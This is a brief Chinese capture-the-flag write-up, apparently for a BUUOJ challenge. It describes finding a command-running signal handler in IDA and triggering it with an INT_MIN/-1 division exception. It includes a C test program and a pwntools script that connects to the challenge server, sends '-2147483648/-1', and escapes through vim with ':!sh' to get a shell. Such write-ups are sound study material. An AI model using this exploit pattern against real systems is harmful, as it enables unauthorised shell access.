用IDA分析一下,程序注册了异常信号处理函数。
该函数可以执行命令
现在,只要想办法触发异常即可。
程序中过滤了除0异常,其实还可以利用-0x80000000/-1来触发异常。
我们可以做个试验
1 2 3 4 5 6 7 8
| #include <stdio.h>
int main() { int a,b; scanf("%d%d",&a,&b); int c = a/b; printf("%d\n",c); }
|
运行程序,然后测试,发现程序崩溃。
因此,我们可以利用这种方法触发异常。
1 2 3 4 5 6 7 8 9 10
| from pwn import *
sh = remote('node3.buuoj.cn',26644)
sh.sendlineafter('>>>','-2147483648/-1') sh.sendlineafter('examine:','vim') sh.sendline(':!sh')
sh.interactive()
|